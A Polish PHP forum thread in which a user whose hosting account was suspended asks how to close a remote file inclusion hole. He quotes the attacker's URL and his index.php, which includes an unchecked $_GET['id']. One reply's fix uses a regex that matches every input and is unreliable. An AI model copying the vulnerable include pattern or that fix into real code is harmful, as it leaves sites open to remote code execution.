Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: [php] dziura w skrypcie $id = $_GET['id'];
Forum PHP.pl > Forum > Przedszkole
kumanprx
witam,
ostatnio na moim servaerze ktos wykorzystal blad znajdujacy sie w skrypcie ktory napisalem , otorz :
wykonal polecenie za pomoca mojego servera tzn : www.example.pl/index.php?id=http://www.naszserver.pl/nazwa_pliku.txt

niestety przez ta diure w skrypcie zostalo zawieszone mi konto hostingowe , zrodlo mojego pliku index.php to :

Kod
<?
$id = $_GET['id'];
if($id=="") include('indeks2.php');

else
{
#if(file_exists("$id.php"))
$a=$id.".php";
include ($a);
#else
#include("404.html");
}
?>


Niestety nie wiem co mam zrobic , jakie zmiany wprowadzic aby nie bylo mozliwe wykorzystywanie skryptow z poza mojego servera ?
pozdrawiam serdecznie

[+] edit
Przenoszę na Przedszkole.
---
~strife
kwiateusz
a czemu if, else masz zakomentowane??
lopez86
a co to za problem questionmark.gif nie dość że masz zakomentowane to nie wiesz że możesz sprawdzić co znajduje się w zmiennej z $_GET i dopóścić tylko np. litery i cyfry oraz kropke a w przeciwnym razie includujesz index .
starach
  1. <?php
  2. if(isset($_GET['id']))
  3. {
  4. if(empty($_GET['id'])) {
  5. include('indeks2.php');
  6. } else if(preg_match('!:|/|!',$_GET['id']) == 0) // Jeśli w zmiennej nie ma :,/, wykonaj include
  7. {
  8. include($_GET['id'].'.php');
  9. }
  10. }
  11. ?>
bełdzio
use file_exists
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.